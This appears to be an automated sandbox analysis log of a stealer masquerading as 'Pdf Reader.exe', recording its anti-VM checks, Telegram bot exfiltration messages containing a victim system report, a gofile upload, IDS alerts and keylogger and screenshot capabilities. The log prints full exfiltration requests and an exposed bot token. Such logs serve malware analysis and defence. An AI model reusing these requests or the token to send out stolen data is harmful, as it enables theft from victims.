Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.16.184.241 104.16.184.241
Source: Joe Sandbox View	IP Address: 45.112.123.126 45.112.123.126

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: icanhazip.com

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 104.16.184.241:80
Source: Network traffic	Suricata IDS: 2029323 - Severity 1 - ET MALWARE Possible Generic RAT over Telegram API : 192.168.2.4:49746 -> 149.154.167.220:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/getMe HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /servers HTTP/1.1Host: api.gofile.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224073938&text=%60%60%60%0A%F0%9F%98%B9%20%2AStealerium%20v3.6.3%20-%20Report%3A%2A%0ADate%3A%202024-12-03%204%3A28%3A04%20am%0ASystem%3A%20Microsoft%20Windows%2010%20Pro%20%2864%20Bit%29%0AUsername%3A%20user%0ACompName%3A%20562258%0ALanguage%3A%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus%3A%20Windows%20Defender%0A%0A%F0%9F%92%BB%20%2AHardware%3A%2A%0ACPU%3A%20Intel%28R%29%20Core%28TM%292%20CPU%206600%20%40%202.40%20GHz%0AGPU%3A%20CSS15%0ARAM%3A%204095MB%0APower%3A%20NoSystemBattery%20%28100%25%29%0AScreen%3A%201280x1024%0AWebcams%20count%3A%200%0A%0A%F0%9F%93%A1%20%2ANetwork%3A%2A%20%0AGateway%20IP%3A%20192.168.2.1%0AInternal%20IP%3A%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system%21%0AExternal%20IP%3A%208.46.123.228%0A%0A%F0%9F%92%B8%20%2ADomains%20info%3A%2A%0A%20%20%20-%20%F0%9F%8F%A6%20%2ABanking%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%92%B0%20%2ACryptocurrency%20services%2A%20%28No%20data%29%0A%20%20%20-%20%F0%9F%8D%93%20%2APorn%20websites%2A%20%28No%20data%29%0A%0A%F0%9F%8C%90%20%2ABrowsers%3A%2A%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History%3A%209%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks%3A%205%0A%0A%F0%9F%97%83%20%2ASoftware%3A%2A%0A%0A%F0%9F%A7%AD%20%2ADevice%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%F0%9F%A6%A0%20%2AInstallation%3A%2A%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Startup%20installed%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Clipper%20installed%0A%20%20%20%E2%88%9F%20%E2%9C%85%20Keylogger%20installed%0A%0A%F0%9F%93%84%20%2AFile%20Grabber%3A%2A%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images%3A%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents%3A%2045%0A%0A%F0%9F%94%97%20%5BArchive%20download%20link%5D%28https%3A%2F%2Fgofile.io%2Fd%2FRowtbR%29%0A%F0%9F%94%90%20Archive%20password%20is%3A%20%2254e993cd601b6d47a6e2abdb25bce1bf%22%60%60%60&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: 82.148.8.0.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: icanhazip.com
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: store4.gofile.io

Source: unknown

HTTP traffic detected: POST /uploadfile HTTP/1.1Content-Type: multipart/form-data; boundary="4b2373d0-ec86-4e7c-a568-e962619f5055"Host: store4.gofile.ioContent-Length: 152048Expect: 100-continueConnection: Keep-Alive

Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980061000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00072000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0005A000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00063000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A8005E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80054000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/servers
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://api.telegram.org/bot
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80095000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/RowtbR
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 00000000.00000002.4162081227.0000016A80091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gofile.io/d/RowtbR)
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercont
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980620000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980001000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00072000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0001C000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00620000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F0061E000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00622000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D98061C000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/Machin
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/MachineGuid.txt
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/gp
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/gpu_list.txt
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D98061C000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/ip
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/ip_list.txt
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/pc_name_list.txt
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/pc_usernam
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/pc_username_list.txt
Source: Pdf Reader.exe, 0000000E.00000002.2044553453.000001D980601000.00000004.00000800.00020000.00000000.sdmp, Pdf Reader.exe, 0000000F.00000002.2118787399.0000029F00601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/proces
Source: Pdf Reader.exe, Pdf Reader.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/refs/heads/main/processes_list.txt
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io
Source: Pdf Reader.exe, 00000000.00000002.4162081227.0000016A800AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store4.gofile.io/uploadfile
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: tmpD49B.tmp.dat.0.dr, tmpBFF4.tmp.dat.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpD4BB.tmp.dat.0.dr, tmpBFB4.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: History.txt0.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: tmpF5AD.tmp.dat.0.dr, tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: tmpF5AD.tmp.dat.0.dr, tmp6F88.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.112.123.126:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49760 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: Pdf Reader.exe, DesktopScreenshot.cs	.Net Code: Make
Source: Pdf Reader.exe.0.dr, DesktopScreenshot.cs	.Net Code: Make

Contains functionality to log keystrokes (.Net Source)

Source: Pdf Reader.exe, Keylogger.cs	.Net Code: SetHook
Source: Pdf Reader.exe, Keylogger.cs	.Net Code: KeyboardLayout
Source: Pdf Reader.exe.0.dr, Keylogger.cs	.Net Code: SetHook
Source: Pdf Reader.exe.0.dr, Keylogger.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\Desktop\Pdf Reader.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
